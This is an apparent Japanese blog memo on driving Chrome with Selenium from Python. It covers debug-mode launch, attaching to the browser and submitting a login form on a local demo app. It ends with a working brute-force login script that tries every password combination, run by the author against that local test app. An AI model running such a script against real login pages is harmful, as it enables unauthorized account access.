selenium を用いた python 経由のブラウザ操作
selenium でブラウザ操作をスクリプトから行う手法の覚え書き.
使用したコードはgithub においてある.
検証環境
- Windows 11 Home
- WSL2 Ubuntu 24.04
- ブラウザは Google Chrome を使用
selenium とは
- selenium はウェブブラウザ操作の自動化のためのフレームワークであり, Python や JavaScript, Java 等の言語に対応している
Python のライブラリインストール
- ダウンロードページ の指示通り,
pipなどからインストール可能
pip install selenium
uv
uv add selenium
chrome のデバッグモード起動
- WSL で Chrome をインストールする際は 参考記事 の通りにインストールした (以下コマンド抜粋)
cd /tmp wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb sudo apt install --fix-missing ./google-chrome-stable_current_amd64.deb
上記のインストールで
google-chromeコマンドが実行できるようになるSelenium でブラウザを操作するにはデバッグポートを解放しなければいけないため, 以下のようなコマンドで Chrome を起動する
google-chrome --remote-debugging-port=9876 --user-data-dir=/tmp/selenium-chrome
- ここでポート番号 (
--remote-debugging-port) はテキトウに空いているポートを選択すればよく, また--user-data-dirは chrome を動かしている間にできる一時ファイルなどの保存場所のため, これもテキトウな場所を選択すればよい - 以上で Chrome が起動したら成功
Selenium からアクセス
- 以下のようなコードでアクセスする
from selenium import webdriver from selenium.webdriver.chrome.options import Options DEBUGGER_ADDRESS = "127.0.0.1:9876" TARGET_URL = "http://localhost:6483/" def main(): # Attach Selenium to an already-running Chrome debug session. options = Options() options.add_experimental_option("debuggerAddress", DEBUGGER_ADDRESS) driver = webdriver.Chrome(options=options) # Navigate the attached browser to the Flask demo application. driver.get(TARGET_URL) if __name__ == "__main__": main()
webdriver.Chrome()でoptionsにデバッグ用のアドレス・ポート番号を渡すことで Chrome に接続- 今回は
"http://localhost:6483/"に検証用のアプリケーションを動かしているため,driver.get()でこのアプリケーションの URL に飛ぶような操作を書いている
検証用アプリケーションについて
検証用アプリケーションとして今回は, ホームページで正しいパスワードを入力するとアカウントページに遷移できるようなアプリケーションを用意した (正しいパスワードは "4782" と設定)
ログイン画面

- パスワード成功 (失敗したら画面遷移しない)

Selenium で form 要素を取得, 入力, 送信
- selenium では
selenium.webdriver.common.byを利用して Javascript のgetElementByIdのように特定の要素を取得可能となる
from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait PASSWORD_FIELD = (By.ID, "password") SUBMIT_BUTTON = (By.CSS_SELECTOR, "button[type='submit']") WAIT_IGNORED_EXCEPTIONS = (StaleElementReferenceException, WebDriverException) def post_passwd(driver, password): # Fill the login password field and submit the form. password_input = WebDriverWait(driver, 3, ignored_exceptions=WAIT_IGNORED_EXCEPTIONS).until( EC.element_to_be_clickable(PASSWORD_FIELD) ) password_input.clear() password_input.send_keys(password) WebDriverWait(driver, 3, ignored_exceptions=WAIT_IGNORED_EXCEPTIONS).until( EC.element_to_be_clickable(SUBMIT_BUTTON) ).click()
- 上記のスクリプトは
passwordという id のパスワードの入力フォームの input を取得し, パスワードを送る関数となっている driverでは Chrome に接続済みのwebdriverを使用するsend_keys()の時点で入力までの操作が行われ, 最後にsubmitのボタンを取得しclickでクリックするアクションを起こすことでパスワードフォームを送信するWebDriverWaitはsubmitのボタンを押せるようになるまで処理の待機を行っている.ignored_exceptionsのオプションは clickable の検証中にまだボタンが押せないとエラーが生じたため, それを無視する設定にしている- 例として
post_passwd(driver=driver, password="4782")のように正しいパスワードを送ると, 画面は正しくアカウント画面に移行した
パスワードのブルートフォース攻撃を試す
- 次に, 入力の自動化の応用としてパスワードのブルートフォース攻撃を試す (ローカルのテスト用環境で実施)
- 始めに, ログインの成功・失敗を判定する
is_logged_inを作成する
def is_logged_in(driver): # Check whether the app reached the authenticated user page. return SUCCESS_TEXT in driver.page_source
- ページのコンテンツは
driver.page_sourceから取得できるため, 現在のページにアカウント画面で表示されるメッセージ (SUCCESS_TEXT) が表示されているかどうかを調べることでログイン判定をする - 次に, ブルートフォース攻撃を行う関数
bruteforceを作成する
def bruteforce(driver, max_length=None): # Try candidate passwords from length 1 upward until authentication succeeds. password_length = 1 while max_length is None or password_length <= max_length: for candidate_tuple in itertools.product(PASSWORD_CHARS, repeat=password_length): candidate = "".join(candidate_tuple) post_passwd(driver, candidate) WebDriverWait(driver, 3, ignored_exceptions=WAIT_IGNORED_EXCEPTIONS).until( lambda current_driver: is_logged_in(current_driver) or EC.element_to_be_clickable(PASSWORD_FIELD)(current_driver) ) if is_logged_in(driver): return candidate password_length += 1
- 基本的には先ほどまでに作っていた関数の組み合わせで, アルファベットの組み合わせを長さ 1 の場合から順番に試していく (今回は rate limit がないため何度でも試せる)
- Wait 処理がないと途中でエラーを吐いてスクリプトが止まるので注意
- しばらくすると正しいパスワードを見つけることができる
- 実行には手元の環境で十数分かかったので, 並列化などを考えるべきだったかもしれない (ボタンが押せるようになるまで待つ動作がボトルネックになっていそう)